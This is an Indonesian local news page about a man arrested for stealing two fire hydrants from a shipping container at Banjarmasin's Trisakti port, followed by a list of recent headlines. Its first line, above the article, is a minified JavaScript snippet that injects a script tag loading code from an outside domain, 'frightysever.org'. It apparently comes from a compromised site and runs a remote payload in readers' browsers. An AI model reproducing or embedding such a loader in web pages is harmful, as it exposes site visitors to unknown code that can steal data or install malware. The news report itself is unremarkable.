(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Curi Dua Buah Hydrant di Kontainer Pelabuhan Trisakti, Lelaki Ini Berlebaran di Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Kawasan Pelabuhan dan Laut (KPL) Banjarmasin berhasil mengamankan seorang lelaki pelaku pencurian di kawasan Pelabuhan Trisakti Banjarmasin.

AS (34) warga Mantuil Raya, Kecamatan Banjarmasin Selatan, Kota Banjarmasin, harus berlebaran di rumah tahanan karena mencuri dua buah hydrant (alat pemadam).

Dijelaskan Kapolsek KPL Banjarmasin Kompol Aryansyah melalui Kanit Reskrim Iptu Bagus Syahid, pada hari Kamis (13/4/2023) sekitar pukul 10.00 Wita, Septian Dwi Cahyo (37) warga Landasan Ulin, Kota Banjarbaru menerima telrpon dari saksi Khairani jika rantai gembok kontainer warna biru nomor TAKU 601694 miliknya terbuka.

Kemudian saksi juga melaporkan kepada pemilik kontainer jika dua buah hydrant bewarna merah di dalam kontainer tersebut telah hilang.

 

Baca juga: Operasi Ketupat 2023, Polda Kalsel Siagakan Ribuan Personel

Selanjutnya pada Jumat (14/4/2023) sekitar pukul 14.00 Wita, security pelabuhan mendapati pelaku sedang membuka rantai dan gembok kontainer TGHU 7996929 yang diketahui berisi barang milik Septian yang hilang.

Setalah ditanyakan, AS tidak dapat mengelak dan mengakui jika ia yang mencuri dua buah hydrant di dalam kontainer nomor TAKU 601694 tersebut.

“Dari kejadian tersebut pelapor mengalami kerugian sebesar Rp 9 juta, dan korban menuntut sesuai hukum,” kata Kanit Reskrim, Iptu Bagus, Senin (17/4/2023) siang.

Lebih lanjut terang Iptu Bagus, pelaku AS bersama barang bukti telah diamankan di Polsek KPL untuk dialakukan proses hukum lebih lanjut.

Sementara itu, perbuatan pelaku diancam dengan Pasal 363 Ayat (1) ke 5 tentang Pencurian dengan Pemberatan Jo. Pasal 53 Kitab Undang-Undang Hukum Pidana (KUHP) dengan ancaman hukuman maksimal tujuh tahun penjara. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Kritik Standar Etika Pejabat: Jalur Pintas hingga DPR Jadi ‘Dewan Perwakilan Partai’

KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More

4 jam ago

98 Usulan Infrastruktur dari Musrenbang Halong

KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More

4 jam ago

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

18 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

22 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

22 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

22 jam ago

This website uses cookies.